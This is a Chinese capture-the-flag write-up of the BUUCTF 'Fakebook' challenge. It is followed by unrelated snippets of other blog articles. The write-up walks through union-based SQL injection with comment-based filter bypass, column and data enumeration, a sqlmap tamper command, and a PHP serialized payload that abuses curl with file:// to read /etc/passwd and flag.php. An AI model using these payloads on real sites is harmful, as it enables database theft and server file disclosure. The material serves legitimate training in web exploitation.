BUUCTF——[网鼎杯 2018]Fakebook

BUUCTF——[网鼎杯 2018]Fakebook

1.测试SQl注入的注入点1'
在这里插入图片描述

2.尝试使用-- -进行闭合,但是不行
在这里插入图片描述
3.尝试使用数字型的SQL注入,使用--+进行注入后面的SQL语句

在这里插入图片描述

4.尝试使用and 1=1 判断其是否真的存在SQL注入

在这里插入图片描述

5.尝试使用and 1=2进行判断
在这里插入图片描述

6.发现这个地方确实存在SQL注入,接下来判断列名

?no=1 order by 4--+

在这里插入图片描述

7.再使用5判断其列名,报错啦,说明有4

?no=1 order by 5--+

在这里插入图片描述

8.判断回显的位置

?no=-1 union select 1,2,3,4--+

在这里插入图片描述

9.发现存在过滤,尝试使用内联注入(/**/)进行绕过

?no=-1/**/union/**/select/**/1,2,3,4--+

在这里插入图片描述

10.发现回显位在2上,爆破数据库库名

?no=-1/**/union/**/select/**/1,database(),3,4--+

在这里插入图片描述

11.数据库名为fakebook,接下来爆破数据表名,尝试第一张表

?no=-1/**/union/**/select/**/1,(select(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='fakebook'/**/limit/**/0,1),3,4--+

在这里插入图片描述

12.数据库名为fakebook,接下来爆破数据表名,尝试第二张表

?no=-1/**/union/**/select/**/1,(select(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='fakebook'/**/limit/**/1,1),3,4--+

在这里插入图片描述

13.发现只有一张表,爆破users表的字段名

?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'),3,4--+

在这里插入图片描述

14.本来想直接爆破出所有的字段名的,但是只能回显一列,只能使用limit一行一行的爆破

?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/0,1),3,4--+

在这里插入图片描述

15.第一个字段为no,接着爆破第二个字段

?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/1,1),3,4--+

在这里插入图片描述

16.第二个字段为username,接着爆破第三个字段

?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/2,1),3,4--+

在这里插入图片描述

17.第三个字段为passwd,接着爆破第四个字段

?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/3,1),3,4--+

在这里插入图片描述
18.第四个字段为data,接着爆破第五个字段

?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/4,1),3,4--+

在这里插入图片描述

19.当爆破到第五个字段的时候,没有回显,书名总的就是四个属性,也就是四个字段,四列,分别是no,username,passwd,data

20.爆破第一个字段内容

?no=-1/**/union/**/select/**/1,(select(no)/**/from/**/table_name='fakebook.users'/**/limit/**/0,1),3,4--+?no=-1/**/union/**/select/**/1,(select/**/no/**/from/**/fakebook.users/**/limit/**/0,1),3,4--+

space2comment.py脚本代码如下,可以将空格替换为//注释符**

Python sqlmap.py -u "http://944c5a3d-4ec2-4cd3-b669-5354d0d6d7e9.node5.buuoj.cn:81/view.php?no=1" --random-agent --temper=space2comment.py --dbs --batch

在这里插入图片描述

在这里插入图片描述

21.使用sqlmap还是不行,还得使用手注,继续爆破字段内容

?no=-1/**/union/**/select/**/1,(select/**/group_concat(no)/**/from/**/users),3,4--+

在这里插入图片描述

22.获取第一个字段no的内容为1,爆破第二个字段的内容
在这里插入图片描述

23.爆破第二个的内容为1,爆破密码内容为

4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a 

在这里插入图片描述

24.密码太奇怪啦,那么长,整一下data试试

?no=-1/**/union/**/select/**/1,(select/**/group_concat(data)/**/from/**/users),3,4--+

在这里插入图片描述

25.这道题目太有意思啦,本来好好的SQL注入,搞着搞着就出来反序列化啦,这不得代码审计一波,但是源代码在哪里呢,直接手动测试一波robots.txt

在这里插入图片描述

26.下载源代码

<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}

在这里插入图片描述

在这里插入图片描述

27.通过阅读源代码,然后构造payload

<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}}$test = new UserInfo("admin","18","file:///etc/passwd");
$test = serialize($test);
var_dump($test);

在这里插入图片描述

28.得到的结果为

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:18:"file:///etc/passwd";}

29.将得到的payload放到我们构造的SQL语句中进行插入

?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:18:"file:///etc/passwd";}'--+

在这里插入图片描述
30.将得到回显数据,查看页面源代码
在这里插入图片描述

31.点击iframe标签中的src超链接,成功得到我们想要的数据
在这里插入图片描述

32.当然做完了之后,你可能会发现,如果在注入账户的时候,直接在blog里插入我们想读取的数据是什么时,我试过啦,不得行,还是做了限制的,这道题奥妙之处就在于这,通过sql注入的漏洞,构造反序列化payload,通过iframe标签获取flag,最后,我们的目的是读取flag,就直接构造

http://e5eaec3f-15e4-440e-8262-94bd93f0ee39.node5.buuoj.cn:81/view.php?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+

在这里插入图片描述

33.查看页面源代码
在这里插入图片描述

34.点击页面即可得到flag

flag{4bbfc72d-f908-469f-aebe-ed5240dd5d6e}

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/645217.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

attempt to compare nil with number -- 黑马点评出现问题

问题情况 : 主要问题 : 调用lua执行redis时&#xff0c;有一个值会接受nil&#xff08;因为redis中没有该数据&#xff09;或者数值&#xff0c;当该值为nil时执行报错&#xff0c;因为会用到将该值与其他数字比较&#xff0c;故报错attempt to compare nil with number 当然…

react,Chart

一、基础图&#xff1a;https://ant-design-charts.antgroup.com/ Ant Design Charts 1. 首先要下载ant-design/charts&#xff0c;然后在页面中添加如下柱状图代码: import React from react; import { Column } from ant-design/chartsconst DemoColumn: React.FC () …

两天速通阿里

感觉这一周太梦幻了&#xff0c;就像一个梦&#xff0c;很不真实~~~ 感觉这个暑期&#xff0c;我的运气占了99成&#xff0c;实力只有百分之一 4.15上午 腾讯csig 腾讯云部门&#xff0c;面完秒进入复试状态 4.16下午 美团优选供应链部门&#xff0c;4.18上午发二面 4.17晚上 阿…

芜湖市夜间景区、文娱主题活动、夜读空、精品文艺演出、数字促销补助等夜间经济奖励政策申报条件、材料

芜湖市示范街区、示范门店、夜间景区、文娱主题活动、体育赛事、夜读空、精品文艺演出、数字促销补助等夜间经济奖励政策申报条件、材料及补贴标准整理如下 芜湖市2023年促进夜间经济发展若干政策申报时间&#xff1a; 针对2023年度促进夜间经济发展若干政策&#xff08;商务局…

ARP 攻击神器:ARP Spoof 保姆级教程

一、介绍 arpspoof是一种网络工具&#xff0c;用于进行ARP欺骗攻击。它允许攻击者伪造网络设备的MAC地址&#xff0c;以欺骗其他设备&#xff0c;并截获其通信。arpspoof工具通常用于网络渗透测试和安全评估&#xff0c;以测试网络的安全性和漏洞。 以下是arpspoof工具的一些…

如何免费生成网址二维码?支持自定义设计的二维码生成器

在国内外的许多创意广告中都在使用网址二维码。比如&#xff1a;大众汽车隐藏在汽车零件上的企业招聘二维码&#xff0c;扫码后进入大众汽车官网在线申请投递简历&#xff1b;帕森斯设计学院的户外广告中打印在红色沙滩椅上的二维码&#xff0c;扫描后可以在线申请暑期课程&…

算法刷题day47

目录 引言一、滑动窗口二、单调栈三、繁忙的都市 引言 今天把所有的最短路算法和最小生成树算法又给复习了一下&#xff0c;有 s p f a , 朴素版 d i j k s t r a , 堆优化版 d i j k s t r a , f l o y d , p r i m , k r u s k a l spfa,朴素版dijkstra,堆优化版dijkstra,f…

【学习笔记二十五】EWM PPF自动WT后台配置和前台展示

一、概述 SAP EWM(Extended Warehouse Management)模块中的PPF(Post Processing Framework)是一个用于执行通用功能和流程的工具。PPF为SAP EWM提供了一个统一的接口,用于触发各种动作,例如打印托盘标签、交货单、拣选票或发送消息和传真。这些动作在特定条件满足时生成,…

Springboot 整合 Quartz框架做定时任务

在Spring Boot中整合Quartz&#xff0c;可以实现定时任务调度的功能 1、首先&#xff0c;在pom.xml文件中添加Quartz和Spring Boot Starter Quartz的依赖&#xff1a; <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-bo…

深入Doris实时数仓:导入本地数据

码到三十五 &#xff1a; 个人主页 心中有诗画&#xff0c;指尖舞代码&#xff0c;目光览世界&#xff0c;步履越千山&#xff0c;人间尽值得 ! < 免责声明 > 避免对文章进行过度解读&#xff0c;因为每个人的知识结构和认知背景不大同&#xff0c;没有一种通用的解决方…

XxlJob外网访问

Xxl-Job使用外网访问 服务注册中心配置 ### web server.port8088 server.servlet.context-path/xxl-job-admin### actuator management.server.base-path/actuator management.health.mail.enabledfalse### resources spring.mvc.servlet.load-on-startup0 spring.mvc.static…

Matlab 使用subplot绘制多个子图,一元拟合

实现效果&#xff1a; clc; clear;filename sri.xlsx; % 确认文件路径data readtable(filename); datavalue data{:,2:end}; datavalue datavalue;fig figure(Position, [0, 0, 1500, 900]); indexString ["(a)","(b)","(c)","(d)&qu…